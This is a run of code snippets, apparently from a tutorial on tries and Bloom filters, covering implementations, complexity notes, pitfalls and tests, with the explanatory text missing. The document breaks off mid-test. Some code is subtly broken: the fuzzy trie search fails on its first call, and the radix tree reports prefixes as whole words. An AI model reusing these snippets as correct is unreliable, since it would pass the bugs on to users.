def get_all_words_with_prefix(prefix):
    node = find_node(prefix)  # O(p)
    results = []
    dfs_collect(node, prefix, results)  # O(n*k)
    return results
# Total: O(p + n*k)
# where n = number of results, k = avg length

class TrieNode:
    children = {}              # Dict overhead: 240 bytes (Python)
    is_end_of_word = False     # Bool: 28 bytes
    # Total: ~280 bytes per node (Python 3.10)

class TrieNode:
    children = [None] * 26     # 26 * 8 = 208 bytes (pointers)
    is_end_of_word = False     # 1 byte
    # Total: ~210 bytes per node (64-bit system)

# Worst case (no shared prefixes)
nodes = 1000 * 10 = 10,000 nodes
memory_per_node = 26 * 8 bytes = 208 bytes
total = 10,000 * 208 = 2,080,000 bytes ≈ 2 MB

# Best case (maximum sharing)
# E.g., words are: "a", "aa", "aaa", "aaaa", ...
nodes = m = 10 nodes only
total = 10 * 208 = 2,080 bytes ≈ 2 KB

# Hash Table
# Space: O(n * m) = total characters
# 1000 words * 10 chars = 10,000 chars = ~10 KB

# Trie (worst case, no sharing)
# Space: O(n * m * ALPHABET_SIZE) = 2 MB (from above)

# Trie (with 50% prefix sharing)
# Space: ~1 MB

# Verdict: Hash table much more space-efficient
# unless prefix sharing is significant

# Trie traversal
node = root
for char in "hello":
    node = node.children[char]  # Pointer dereference
    # Each dereference might be cache miss!

# Cache misses: Up to 5 (one per character)

# Array access
words = ["hello", "world", ...]
if "hello" in set(words):  # Likely 1 cache miss
    ...

# Logical node size: 208 bytes
# Actual allocation: 240 bytes (due to overhead)
# Wasted: 15% of memory!

# 32-bit: pointers are 4 bytes
array_node = [None] * 26  # 26 * 4 = 104 bytes

# 64-bit: pointers are 8 bytes
array_node = [None] * 26  # 26 * 8 = 208 bytes

# 64-bit uses 2x memory for pointers!

# Lowercase only (26)
memory_per_node = 26 * 8 = 208 bytes

# Alphanumeric (62)
memory_per_node = 62 * 8 = 496 bytes

# ASCII printable (95)
memory_per_node = 95 * 8 = 760 bytes

# Unicode (65,536)
memory_per_node = 65,536 * 8 = 524,288 bytes = 512 KB per node!
# → Must use hash map or TST for Unicode

# Hash map resizes when load factor exceeds threshold
# Resize cost: O(current_size)
# Frequency: After O(current_size) insertions
# Amortized: O(1) per insertion

# Therefore:
# Insert word of length m
# Hash map operations: O(1) amortized
# Total insert: O(m) amortized

# ✓ Step 1: Define TrieNode
class TrieNode:
    def __init__(self):
        self.children = {}           # ← Choose dict vs array
        self.is_end_of_word = False  # ← Don't forget this!
        # self.word = None           # ← Optional: store word here

# ✓ Step 2: Define Trie class
class Trie:
    def __init__(self):
        self.root = TrieNode()       # ← Initialize root

    # ✓ Step 3: Implement core operations
    def insert(self, word):
        node = self.root
        for char in word:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]
        node.is_end_of_word = True   # ← Critical!

    def search(self, word):
        node = self._find_node(word)
        return node and node.is_end_of_word  # ← Check flag!

    def _find_node(self, prefix):    # ← Helper function
        node = self.root
        for char in prefix:
            if char not in node.children:
                return None
            node = node.children[char]
        return node

# ❌ WRONG
def search(self, word):
    node = self.root
    for char in word:
        if char not in node.children:
            return False
        node = node.children[char]
    return True  # ← BUG: Returns True for prefixes too!

# ✓ CORRECT
def search(self, word):
    node = self._find_node(word)
    return node is not None and node.is_end_of_word  # ← Check flag!

# ❌ WRONG
def insert(self, word):
    node = self.root
    for char in word:  # ← Breaks on empty string
        ...

# ✓ CORRECT
def insert(self, word):
    if not word:  # ← Handle empty string
        self.root.is_end_of_word = True
        return
    node = self.root
    for char in word:
        ...

# ❌ WRONG
def delete(self, word):
    node = self._find_node(word)
    node.is_end_of_word = False  # ← Nodes not cleaned up!

# ✓ CORRECT
def delete(self, word):
    def helper(node, word, index):
        if index == len(word):
            if not node.is_end_of_word:
                return False
            node.is_end_of_word = False
            return len(node.children) == 0  # ← Can delete if no children

        char = word[index]
        if char not in node.children:
            return False

        child = node.children[char]
        should_delete = helper(child, word, index + 1)

        if should_delete:
            del node.children[char]
            return not node.is_end_of_word and len(node.children) == 0

        return False

    helper(self.root, word, 0)

# ❌ WRONG: Try to handle wildcards in regular search
def search(self, word):
    if '.' in word:
        # ... complex logic mixed with regular search
        pass

# ✓ CORRECT: Separate methods
def search(self, word):
    # Regular search
    ...

def search_with_wildcards(self, pattern):
    # DFS with wildcard handling
    def dfs(node, i):
        if i == len(pattern):
            return node.is_end_of_word

        if pattern[i] == '.':
            return any(dfs(child, i+1) for child in node.children.values())
        else:
            if pattern[i] not in node.children:
                return False
            return dfs(node.children[pattern[i]], i+1)

    return dfs(self.root, 0)

# ❌ WRONG: Using array for variable characters
class TrieNode:
    def __init__(self):
        self.children = [None] * 26  # ← What about uppercase? Numbers?

# ✓ CORRECT: Use hash map for flexibility
class TrieNode:
    def __init__(self):
        self.children = {}  # ← Works for any character

# Step 1: Build the trie
trie = Trie()
for word in dictionary:
    trie.insert(word)

# Step 2: Query/Traverse the trie
# Pattern A: Simple query
result = trie.search(query_word)

# Pattern B: DFS traversal
def dfs(node, path, results):
    if node.is_end_of_word:
        results.append(path)
    for char, child in node.children.items():
        dfs(child, path + char, results)

# Pattern C: Simultaneous traversal (e.g., Word Search II)
def dfs_grid_with_trie(r, c, trie_node, path):
    char = board[r][c]
    if char not in trie_node.children:
        return

    next_node = trie_node.children[char]
    if next_node.is_end_of_word:
        found_words.add(path + char)

    # Continue DFS...

# Step 3: Collect and return results
return results

# Interviewer: "What's the time complexity?"

# Your answer should be structured:
"The time complexity is O(m) where m is the length of the word.

Breaking it down:
- We iterate through each character exactly once: O(m)
- At each character, we do a hash map lookup: O(1)
- Total: O(m)

The space complexity is O(1) for the search operation itself,
not counting the space used by the trie structure, which is
O(ALPHABET_SIZE * N * M) in the worst case, where N is the
number of words and M is the average word length."

"Let me trace through inserting 'cat':
- Start at root
- Add 'c' as child
- Add 'a' as child of 'c'
- Add 't' as child of 'a'
- Mark 't' as end of word"

import threading

class ThreadSafeTrie:
    """Simple thread-safe trie with global lock."""

    def __init__(self):
        self.root = TrieNode()
        self.lock = threading.RLock()  # Reentrant lock

    def insert(self, word):
        with self.lock:
            # Normal insert logic
            node = self.root
            for char in word:
                if char not in node.children:
                    node.children[char] = TrieNode()
                node = node.children[char]
            node.is_end_of_word = True

    def search(self, word):
        with self.lock:
            # Normal search logic
            ...

class FineLockTrieNode:
    """Node with its own lock."""

    def __init__(self):
        self.children = {}
        self.is_end_of_word = False
        self.lock = threading.RLock()

class FineLockTrie:
    """Trie with per-node locking."""

    def __init__(self):
        self.root = FineLockTrieNode()

    def insert(self, word):
        node = self.root

        for char in word:
            node.lock.acquire()

            if char not in node.children:
                node.children[char] = FineLockTrieNode()

            next_node = node.children[char]
            node.lock.release()
            node = next_node

        node.lock.acquire()
        node.is_end_of_word = True
        node.lock.release()

from threading import RLock
from readerwriterlock import rwlock

class RWLockTrie:
    """Trie with read-write lock (many readers, few writers)."""

    def __init__(self):
        self.root = TrieNode()
        self.rwlock = rwlock.RWLockFair()

    def insert(self, word):
        with self.rwlock.gen_wlock():  # Write lock
            # Insert logic
            ...

    def search(self, word):
        with self.rwlock.gen_rlock():  # Read lock (concurrent reads OK)
            # Search logic
            ...

import json
import pickle

class PersistentTrie(Trie):
    """Trie with save/load capabilities."""

    def save_to_file(self, filename):
        """Save trie to file."""

        # Option 1: JSON (human-readable)
        def serialize_node(node):
            return {
                'children': {char: serialize_node(child)
                            for char, child in node.children.items()},
                'is_end': node.is_end_of_word
            }

        data = serialize_node(self.root)

        with open(filename, 'w') as f:
            json.dump(data, f)

    def load_from_file(self, filename):
        """Load trie from file."""

        def deserialize_node(data):
            node = TrieNode()
            node.is_end_of_word = data['is_end']
            node.children = {char: deserialize_node(child_data)
                           for char, child_data in data['children'].items()}
            return node

        with open(filename, 'r') as f:
            data = json.load(f)

        self.root = deserialize_node(data)

    def save_binary(self, filename):
        """Save using pickle (faster, smaller)."""
        with open(filename, 'wb') as f:
            pickle.dump(self.root, f)

    def load_binary(self, filename):
        """Load from pickle file."""
        with open(filename, 'rb') as f:
            self.root = pickle.load(f)

# Usage
trie = PersistentTrie()
# ... insert words ...
trie.save_to_file('dictionary.json')

# Later...
trie2 = PersistentTrie()
trie2.load_from_file('dictionary.json')

class DatabaseTrie:
    """Store trie in database (SQL)."""

    def __init__(self, db_connection):
        self.db = db_connection
        self._create_tables()

    def _create_tables(self):
        """Create tables for trie nodes."""
        self.db.execute('''
            CREATE TABLE IF NOT EXISTS trie_nodes (
                id INTEGER PRIMARY KEY,
                parent_id INTEGER,
                char TEXT,
                is_end_of_word BOOLEAN,
                FOREIGN KEY (parent_id) REFERENCES trie_nodes(id)
            )
        ''')

    def insert(self, word):
        """Insert word into database."""
        parent_id = None  # Root

        for char in word:
            # Find or create node
            cursor = self.db.execute('''
                SELECT id FROM trie_nodes
                WHERE parent_id = ? AND char = ?
            ''', (parent_id, char))

            row = cursor.fetchone()
            if row:
                parent_id = row[0]
            else:
                cursor = self.db.execute('''
                    INSERT INTO trie_nodes (parent_id, char, is_end_of_word)
                    VALUES (?, ?, ?)
                ''', (parent_id, char, False))
                parent_id = cursor.lastrowid

        # Mark as end of word
        self.db.execute('''
            UPDATE trie_nodes SET is_end_of_word = ? WHERE id = ?
        ''', (True, parent_id))

        self.db.commit()

class ShardedTrie:
    """Distribute trie across multiple shards based on first character."""

    def __init__(self, num_shards=26):
        self.shards = [Trie() for _ in range(num_shards)]
        self.num_shards = num_shards

    def _get_shard(self, word):
        """Determine which shard to use."""
        if not word:
            return 0
        # Simple: hash first character
        return ord(word[0].lower()) % self.num_shards

    def insert(self, word):
        shard = self._get_shard(word)
        self.shards[shard].insert(word)

    def search(self, word):
        shard = self._get_shard(word)
        return self.shards[shard].search(word)

    def get_all_words_with_prefix(self, prefix):
        shard = self._get_shard(prefix)
        return self.shards[shard].get_all_words_with_prefix(prefix)

class DistributedTrie:
    """Trie distributed across multiple machines."""

    def __init__(self, shard_urls):
        """
        shard_urls: List of URLs to trie shard servers
        e.g., ['http://shard1:8000', 'http://shard2:8000']
        """
        self.shards = shard_urls

    def _get_shard_url(self, word):
        """Consistent hashing to determine shard."""
        shard_idx = hash(word[0]) % len(self.shards)
        return self.shards[shard_idx]

    def insert(self, word):
        """Send insert request to appropriate shard."""
        url = self._get_shard_url(word)
        response = requests.post(f'{url}/insert', json={'word': word})
        return response.json()

    def search(self, word):
        """Send search request to appropriate shard."""
        url = self._get_shard_url(word)
        response = requests.get(f'{url}/search', params={'word': word})
        return response.json()['found']

import unittest

class TestTrie(unittest.TestCase):
    """Comprehensive trie test suite."""

    def setUp(self):
        self.trie = Trie()

    def test_empty_trie(self):
        """Test operations on empty trie."""
        self.assertFalse(self.trie.search("hello"))
        self.assertFalse(self.trie.starts_with("h"))
        self.assertEqual(len(self.trie), 0)

    def test_insert_and_search(self):
        """Test basic insert and search."""
        self.trie.insert("hello")
        self.assertTrue(self.trie.search("hello"))
        self.assertFalse(self.trie.search("hell"))  # Prefix only
        self.assertTrue(self.trie.starts_with("hell"))

    def test_duplicate_insert(self):
        """Test inserting same word twice."""
        self.trie.insert("hello")
        self.trie.insert("hello")
        self.assertEqual(len(self.trie), 1)  # Should not duplicate

    def test_prefix_sharing(self):
        """Test words with shared prefixes."""
        words = ["cat", "cats", "caterpillar", "dog"]
        for word in words:
            self.trie.insert(word)

        self.assertEqual(len(self.trie), 4)
        self.assertTrue(all(self.trie.search(w) for w in words))
        self.assertEqual(len(self.trie.get_all_words_with_prefix("cat")), 3)

    def test_deletion(self):
        """Test word deletion."""
        self.trie.insert("hello")
        self.trie.insert("hell")

        self.assertTrue(self.trie.delete("hello"))
        self.assertFalse(self.trie.search("hello"))
        self.assertTrue(self.trie.search("hell"))  # Should remain

    def test_edge_cases(self):
        """Test edge cases."""
        # Empty string
        self.trie.insert("")
        self.assertTrue(self.trie.search(""))

        # Single character
        self.trie.insert("a")
        self.assertTrue(self.trie.search("a"))

        # Very long word
        long_word = "a" * 1000
        self.trie.insert(long_word)
        self.assertTrue(self.trie.search(long_word))

    def test_case_sensitivity(self):
        """Test case handling."""
        self.trie.insert("Hello")
        self.trie.insert("hello")
        self.assertTrue(self.trie.search("Hello"))
        self.assertTrue(self.trie.search("hello"))
        # Different words if case-sensitive

    def test_special_characters(self):
        """Test special characters."""
        words = ["hello-world", "test_case", "foo.bar"]
        for word in words:
            self.trie.insert(word)
        self.assertTrue(all(self.trie.search(w) for w in words))

# Performance tests
class TestTriePerformance(unittest.TestCase):
    """Performance benchmarks."""

    def test_large_dataset(self):
        """Test with large number of words."""
        import time

        trie = Trie()
        words = [f"word{i}" for i in range(10000)]

        # Benchmark insert
        start = time.time()
        for word in words:
            trie.insert(word)
        insert_time = time.time() - start

        # Benchmark search
        start = time.time()
        for word in words:
            trie.search(word)
        search_time = time.time() - start

        print(f"Insert 10k words: {insert_time:.3f}s")
        print(f"Search 10k words: {search_time:.3f}s")

        # Assert reasonable performance
        self.assertLess(insert_time, 1.0)  # Should be fast
        self.assertLess(search_time, 0.5)

if __name__ == '__main__':
    unittest.main()

class FrequencyTrieNode:
    def __init__(self):
        self.children = {}
        self.is_end_of_word = False
        self.frequency = 0  # How many times this word was inserted
        self.word = None

class FrequencyTrie:
    """Trie that tracks word frequencies for ranking."""

    def __init__(self):
        self.root = FrequencyTrieNode()

    def insert(self, word, frequency=1):
        """Insert word with frequency (or increment by frequency)."""
        node = self.root

        for char in word:
            if char not in node.children:
                node.children[char] = FrequencyTrieNode()
            node = node.children[char]

        node.is_end_of_word = True
        node.frequency += frequency
        node.word = word

    def search(self, word):
        """Search returns (found, frequency) tuple."""
        node = self.root

        for char in word:
            if char not in node.children:
                return (False, 0)
            node = node.children[char]

        if node.is_end_of_word:
            return (True, node.frequency)
        return (False, 0)

    def top_k_with_prefix(self, prefix, k=10):
        """
        Get top K most frequent words with given prefix.

        Returns: List of (word, frequency) tuples, sorted by frequency (desc)
        """
        import heapq

        # Find prefix node
        node = self.root
        for char in prefix:
            if char not in node.children:
                return []
            node = node.children[char]

        # Collect all words with frequencies
        candidates = []

        def dfs(n):
            if n.is_end_of_word:
                candidates.append((n.word, n.frequency))
            for child in n.children.values():
                dfs(child)

        dfs(node)

        # Return top K by frequency
        return heapq.nlargest(k, candidates, key=lambda x: x[1])

    def increment_frequency(self, word):
        """Increment frequency when user selects this word."""
        self.insert(word, frequency=1)

# Example usage
freq_trie = FrequencyTrie()

# Simulate search history
searches = ["apple", "application", "apple", "apply", "apple", "appetite"]
for search in searches:
    freq_trie.insert(search)

print("Top 3 suggestions for 'app':")
for word, freq in freq_trie.top_k_with_prefix("app", k=3):
    print(f"  {word}: {freq} times")

# Output:
# apple: 3 times
# application: 1 times
# apply: 1 times

class WildcardTrie(Trie):
    """
    Trie supporting wildcards:
    - '.' matches any single character
    - '*' matches zero or more characters
    """

    def search_with_wildcards(self, pattern):
        """
        Search with wildcard support.

        Examples:
        - "a.c" matches "abc", "adc", but not "abbc"
        - "a*c" matches "ac", "abc", "abbc", etc.
        """
        results = []

        def dfs(node, pat_idx, current_word):
            if pat_idx == len(pattern):
                if node.is_end_of_word:
                    results.append(current_word)
                return

            char = pattern[pat_idx]

            if char == '.':
                # Match any single character
                for c, child in node.children.items():
                    dfs(child, pat_idx + 1, current_word + c)

            elif char == '*':
                # Match zero or more characters
                # Case 1: Match zero chars (skip *)
                dfs(node, pat_idx + 1, current_word)

                # Case 2: Match one or more chars
                for c, child in node.children.items():
                    dfs(child, pat_idx, current_word + c)  # Keep * active

            else:
                # Regular character
                if char in node.children:
                    dfs(node.children[char], pat_idx + 1, current_word + char)

        dfs(self.root, 0, "")
        return results

# Example
wc_trie = WildcardTrie()
words = ["cat", "car", "card", "cart", "dog", "dodge"]
for word in words:
    wc_trie.insert(word)

print("Matches for 'ca.':", wc_trie.search_with_wildcards("ca."))
# Output: ['cat', 'car']

print("Matches for 'ca*':", wc_trie.search_with_wildcards("ca*"))
# Output: ['cat', 'car', 'card', 'cart']

print("Matches for '.*g':", wc_trie.search_with_wildcards(".*g"))
# Output: ['dog']

class FuzzyTrie(Trie):
    """Trie with fuzzy search (edit distance)."""

    def search_fuzzy(self, word, max_distance=2):
        """
        Find all words within max_distance edits of word.

        Uses dynamic programming during DFS.
        Returns: List of (word, distance) tuples
        """
        results = []

        def dfs(node, current_word, prev_row):
            """
            DFS with dynamic edit distance calculation.
            prev_row: DP array from previous level
            """
            cols = len(word) + 1
            current_row = [prev_row[0] + 1]  # First column (deletions)

            # Calculate edit distance for current character
            for col in range(1, cols):
                insert_cost = current_row[col - 1] + 1
                delete_cost = prev_row[col] + 1
                replace_cost = prev_row[col - 1]

                if word[col - 1] != current_word[-1]:
                    replace_cost += 1

                current_row.append(min(insert_cost, delete_cost, replace_cost))

            # If edit distance is within threshold and word is complete
            if current_row[-1] <= max_distance and node.is_end_of_word:
                results.append((current_word, current_row[-1]))

            # Only continue if there's potential
            if min(current_row) <= max_distance:
                for char, child in node.children.items():
                    dfs(child, current_word + char, current_row)

        # Initialize first row (distance from empty string)
        first_row = list(range(len(word) + 1))
        dfs(self.root, "", first_row)

        # Sort by distance, then alphabetically
        results.sort(key=lambda x: (x[1], x[0]))
        return results

# Example
fuzzy_trie = FuzzyTrie()
dictionary = ["hello", "hallo", "hillo", "yellow", "jello", "help"]
for word in dictionary:
    fuzzy_trie.insert(word)

print("Fuzzy search for 'hello' (distance ≤ 1):")
for word, distance in fuzzy_trie.search_fuzzy("hello", max_distance=1):
    print(f"  {word} (distance: {distance})")

# Output:
# hello (distance: 0)
# hallo (distance: 1)
# hillo (distance: 1)
# jello (distance: 1)

class RadixNode:
    """Node in radix tree with full features."""

    def __init__(self, label=""):
        self.label = label
        self.children = {}
        self.is_end_of_word = False
        self.value = None
        self.count = 0  # Number of words in subtree

class RadixTree:
    """Full-featured radix tree (compressed trie)."""

    def __init__(self):
        self.root = RadixNode()
        self.size = 0

    def insert(self, word, value=None):
        """Insert with full compression."""
        if not word:
            return

        node = self.root
        i = 0

        while i < len(word):
            char = word[i]

            if char not in node.children:
                # No matching child - create new node
                new_node = RadixNode(word[i:])
                new_node.is_end_of_word = True
                new_node.value = value
                node.children[char] = new_node
                self._update_counts(node)
                self.size += 1
                return

            child = node.children[char]
            label = child.label

            # Find length of common prefix
            j = 0
            while (j < len(label) and i + j < len(word) and
                   label[j] == word[i + j]):
                j += 1

            if j == len(label):
                # Full label matches - continue deeper
                node = child
                i += j
            else:
                # Partial match - need to split node
                self._split_node(node, child, char, j, word[i:], value)
                self.size += 1
                return

        # Word fully consumed at existing node
        if not node.is_end_of_word:
            node.is_end_of_word = True
            node.value = value
            self._update_counts(node)
            self.size += 1

    def _split_node(self, parent, child, first_char, split_pos,
                    remaining_word, value):
        """Split a node when partial match occurs."""
        label = child.label
        common_prefix = label[:split_pos]
        child_suffix = label[split_pos:]
        word_suffix = remaining_word[split_pos:]

        # Create intermediate node with common prefix
        intermediate = RadixNode(common_prefix)
        parent.children[first_char] = intermediate

        # Original child gets remaining label
        child.label = child_suffix
        intermediate.children[child_suffix[0]] = child

        if word_suffix:
            # Create new node for word's suffix
            new_node = RadixNode(word_suffix)
            new_node.is_end_of_word = True
            new_node.value = value
            intermediate.children[word_suffix[0]] = new_node
        else:
            # Intermediate node is end of word
            intermediate.is_end_of_word = True
            intermediate.value = value

        self._update_counts(intermediate)

    def _update_counts(self, node):
        """Update word count for node."""
        count = 1 if node.is_end_of_word else 0
        for child in node.children.values():
            count += child.count
        node.count = count

    def search(self, word):
        """Search for exact word."""
        node, remaining = self._find_node(word)
        return (node is not None and not remaining and
                node.is_end_of_word)

    def _find_node(self, word):
        """
        Find node and remaining unmatched portion.
        Returns: (node, remaining_word)
        """
        node = self.root
        i = 0

        while i < len(word):
            char = word[i]

            if char not in node.children:
                return (None, word[i:])

            child = node.children[char]
            label = child.label

            # Check if word matches label
            j = 0
            while j < len(label) and i + j < len(word):
                if label[j] != word[i + j]:
                    return (None, word[i:])
                j += 1

            if j < len(label):
                # Word ended mid-label
                return (child, "")  # Prefix match

            node = child
            i += j

        return (node, "")

    def get_all_words(self):
        """Get all words in radix tree."""
        results = []

        def dfs(node, prefix):
            current = prefix + node.label
            if node.is_end_of_word:
                results.append(current)
            for child in node.children.values():
                dfs(child, current)

        for child in self.root.children.values():
            dfs(child, "")

        return results

    def __len__(self):
        return self.size

    def __repr__(self):
        return f"RadixTree(size={self.size})"

# Example
radix = RadixTree()
words = ["test", "testing", "tester", "team", "toast", "toaster"]

print("Inserting:", words)
for word in words:
    radix.insert(word)

print(f"\nRadix tree size: {len(radix)}")
print("All words:", radix.get_all_words())
print(f"Search 'test': {radix.search('test')}")
print(f"Search 'testing': {radix.search('testing')}")
print(f"Search 'tes': {radix.search('tes')}")

["cat", "car", "card", "dog", "dodge"]

                  (start)
                  /    \
                 c      d
                 |      |
                 a      o
                / \     |\
               t   r    d g
                   |    | |
                   d    g e

Insert "apple":
h_1("apple") = 3  -> set bit[3] = 1
h_2("apple") = 7  -> set bit[7] = 1
h_3("apple") = 12 -> set bit[12] = 1

Query "apple":
Check bit[3], bit[7], bit[12]
All are 1 -> "possibly in set"

Query "banana":
h_1("banana") = 3  -> bit[3] = 1 YES
h_2("banana") = 5  -> bit[5] = 0 NO
Result: "definitely not in set"

Initial state (m=16 bits):
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]

After Insert("cat") with h_1=2, h_2=7, h_3=13:
[0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0]

After Insert("dog") with h_1=2, h_2=9, h_3=14:
[0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0]
     ^           ^     ^  ^
  overlap       new   old new

Query("cat"): Check positions 2,7,13 -> all 1 -> "possibly in set" YES
Query("bird"): h_1=5, h_2=9, h_3=11 -> position 5 is 0 -> "not in set" YES
Query("fox"): h_1=2, h_2=7, h_3=9 -> all 1 -> "possibly in set" NO (FALSE POSITIVE!)

p_0 = (1 - 1/m)^(kn)

p_1 = 1 - (1 - 1/m)^(kn) ~= 1 - e^(-kn/m)

P(false positive) = p_1^k = (1 - e^(-kn/m))^k

k_optimal = (m/n) * ln(2) ~= 0.693 * (m/n)

P(false positive) ~= (1/2)^k = 0.6185^(m/n)

m = -n * ln(p) / (ln(2))^2
m ~= -1.44 * n * log_2(p)

n = 1,000,000
p = 0.01

m = -1,000,000 * ln(0.01) / (ln(2))^2
m ~= 9,585,058 bits ~= 1.14 MB

k = 0.693 * (9,585,058 / 1,000,000)
k ~= 6.64 ~= 7 hash functions

Standard:  [1, 0, 1, 1, 0]
Counting:  [3, 0, 2, 1, 0]  (can decrement safely)

import math
import mmh3  # MurmurHash3 library
from bitarray import bitarray

class BloomFilter:
    def __init__(self, expected_elements, false_positive_rate):
        """
        Initialize Bloom filter with optimal parameters

        Args:
            expected_elements (int): Expected number of elements
            false_positive_rate (float): Desired false positive probability
        """
        # Calculate optimal bit array size
        self.size = self._optimal_size(expected_elements, false_positive_rate)

        # Calculate optimal number of hash functions
        self.hash_count = self._optimal_hash_count(self.size, expected_elements)

        # Initialize bit array
        self.bit_array = bitarray(self.size)
        self.bit_array.setall(0)

        self.elements_added = 0

    def _optimal_size(self, n, p):
        """Calculate optimal bit array size"""
        m = -(n * math.log(p)) / (math.log(2) ** 2)
        return int(m)

    def _optimal_hash_count(self, m, n):
        """Calculate optimal number of hash functions"""
        k = (m / n) * math.log(2)
        return int(k)

    def _hash(self, item, seed):
        """Generate hash for item with given seed"""
        return mmh3.hash(item, seed) % self.size

    def add(self, item):
        """Add item to the Bloom filter"""
        for i in range(self.hash_count):
            position = self._hash(item, i)
            self.bit_array[position] = 1
        self.elements_added += 1

    def contains(self, item):
        """Check if item might be in the set"""
        for i in range(self.hash_count):
            position = self._hash(item, i)
            if self.bit_array[position] == 0:
                return False
        return True

    def current_false_positive_rate(self):
        """Calculate current false positive probability"""
        k = self.hash_count
        m = self.size
        n = self.elements_added
        return (1 - math.exp(-k * n / m)) ** k

# Usage example
bf = BloomFilter(expected_elements=10000, false_positive_rate=0.01)

# Add elements
words = ["apple", "banana", "cherry", "date"]
for word in words:
    bf.add(word)

# Query
print(bf.contains("apple"))   # True (definitely added)
print(bf.contains("banana"))  # True (definitely added)
print(bf.contains("grape"))   # False or True (if false positive)

print(f"Current FP rate: {bf.current_false_positive_rate():.4f}")

class BloomFilter {
    constructor(expectedElements, falsePositiveRate) {
        this.size = this.optimalSize(expectedElements, falsePositiveRate);
        this.hashCount = this.optimalHashCount(this.size, expectedElements);
        this.bitArray = new Uint8Array(Math.ceil(this.size / 8));
        this.elementsAdded = 0;
    }

    optimalSize(n, p) {
        const m = -(n * Math.log(p)) / (Math.log(2) ** 2);
        return Math.ceil(m);
    }

    optimalHashCount(m, n) {
        const k = (m / n) * Math.log(2);
        return Math.ceil(k);
    }

    hash(item, seed) {
        // Simple hash function (use better hash in production)
        let hash = seed;
        for (let i = 0; i < item.length; i++) {
            hash = ((hash << 5) - hash) + item.charCodeAt(i);
            hash = hash & hash; // Convert to 32-bit integer
        }
        return Math.abs(hash) % this.size;
    }

    setBit(position) {
        const byteIndex = Math.floor(position / 8);
        const bitIndex = position % 8;
        this.bitArray[byteIndex] |= (1 << bitIndex);
    }

    getBit(position) {
        const byteIndex = Math.floor(position / 8);
        const bitIndex = position % 8;
        return (this.bitArray[byteIndex] & (1 << bitIndex)) !== 0;
    }

    add(item) {
        for (let i = 0; i < this.hashCount; i++) {
            const position = this.hash(item, i);
            this.setBit(position);
        }
        this.elementsAdded++;
    }

    contains(item) {
        for (let i = 0; i < this.hashCount; i++) {
            const position = this.hash(item, i);
            if (!this.getBit(position)) {
                return false;
            }
        }
        return true;
    }

    currentFalsePositiveRate() {
        const k = this.hashCount;
        const m = this.size;
        const n = this.elementsAdded;
        return Math.pow(1 - Math.exp(-k * n / m), k);
    }
}

// Usage
const bf = new BloomFilter(10000, 0.01);
bf.add("user@example.com");
console.log(bf.contains("user@example.com"));  // true
console.log(bf.contains("other@example.com")); // likely false

Query for key "user:12345":
1. Check Bloom filter (in memory) -> "not present"
2. Skip disk read entirely
3. Return "key not found"

Savings: ~10ms disk seek

Before fetching remote page:
- Check Bloom filter for URL
- If "not in cache", fetch from origin
- If "possibly in cache", check cache (might be false positive)

Client creates Bloom filter with its addresses
Sends filter to full node
Full node returns only matching transactions
Reduces bandwidth by 1000x

n = expected number of elements
p = acceptable false positive rate

import math

def calculate_bloom_parameters(n, p):
    """
    Calculate optimal Bloom filter parameters

    Args:
        n: expected number of elements
        p: desired false positive rate

    Returns:
        m: bit array size
        k: number of hash functions
        memory_mb: memory usage in MB
    """
    # Bit array size
    m = -(n * math.log(p)) / (math.log(2) ** 2)
    m = int(math.ceil(m))

    # Number of hash functions
    k = (m / n) * math.log(2)
    k = int(math.ceil(k))

    # Memory usage
    memory_mb = m / (8 * 1024 * 1024)

    return {
        'bit_array_size': m,
        'hash_functions': k,
        'memory_mb': round(memory_mb, 2),
        'bits_per_element': round(m/n, 2)
    }

# Examples
print(calculate_bloom_parameters(1_000_000, 0.01))
# {'bit_array_size': 9585059, 'hash_functions': 7,
#  'memory_mb': 1.14, 'bits_per_element': 9.59}

print(calculate_bloom_parameters(1_000_000, 0.001))
# {'bit_array_size': 14377589, 'hash_functions': 10,
#  'memory_mb': 1.71, 'bits_per_element': 14.38}

Doubling the bit array size (m):
- Reduces false positive rate by ~50%
- Increases memory by 2x
- Requires more hash functions

Doubling hash functions (k):
- More computation per operation
- Better distribution
- Diminishing returns after optimal k

def get_hash(item, i, hash1, hash2, m):
    """
    Generate i-th hash using double hashing
    h_i(x) = (h1(x) + i * h2(x)) mod m
    """
    return (hash1 + i * hash2) % m

# Example
import mmh3

item = "example"
hash1 = mmh3.hash(item, seed=0) % m
hash2 = mmh3.hash(item, seed=1) % m

# Generate k hashes
hashes = [get_hash(item, i, hash1, hash2, m) for i in range(k)]

n_estimated = -(m/k) * ln(1 - X/m)

Where:
m = bit array size
k = number of hash functions
X = number of bits set to 1

union_filter = bloom_a | bloom_b  # bitwise OR

intersection_filter = bloom_a & bloom_b  # bitwise AND
# Note: higher false positive rate

def saturation_level(bloom_filter):
    """Calculate percentage of bits set to 1"""
    bits_set = sum(bloom_filter.bit_array)
    total_bits = bloom_filter.size
    return (bits_set / total_bits) * 100

# If saturation > 50%, consider resizing
# Optimal saturation ~= 50% when k is optimal

class AdaptiveBloomFilter:
    def add(self, item):
        super().add(item)

        # Check if saturation exceeds threshold
        if self.saturation_level() > 0.7:
            self.expand()

    def expand(self):
        # Create larger filter
        # Rehash all elements (requires storing or tracking them)
        pass

from concurrent.futures import ThreadPoolExecutor

def parallel_query(bloom_filter, items):
    with ThreadPoolExecutor() as executor:
        results = executor.map(bloom_filter.contains, items)
    return list(results)

# WRONG: Using wrong formula
m = n * 10  # arbitrary multiplier

# RIGHT: Use proper formula
m = -(n * math.log(p)) / (math.log(2) ** 2)

# WRONG: Using Python's hash() (not uniform)
def bad_hash(item):
    return hash(item) % m

# RIGHT: Use proper hash function
import mmh3
def good_hash(item):
    return mmh3.hash(item) % m

# Monitor and warn
if bloom.elements_added > bloom.expected_elements:
    logging.warning("Bloom filter exceeding capacity!")
    logging.warning(f"Current FP rate: {bloom.current_false_positive_rate()}")

# WRONG: Treating as exact set
if bloom.contains(email):
    send_email(email)  # might send to non-existent email!

# RIGHT: Verify on positive match
if bloom.contains(email):
    if email_exists_in_database(email):  # verify
        send_email(email)

import random
import string

def test_bloom_filter():
    # Create filter
    bf = BloomFilter(expected_elements=10000, false_positive_rate=0.01)

    # Test 1: No false negatives
    added = set()
    for i in range(10000):
        word = ''.join(random.choices(string.ascii_letters, k=10))
        bf.add(word)
        added.add(word)

    # All added elements must be found
    for word in added:
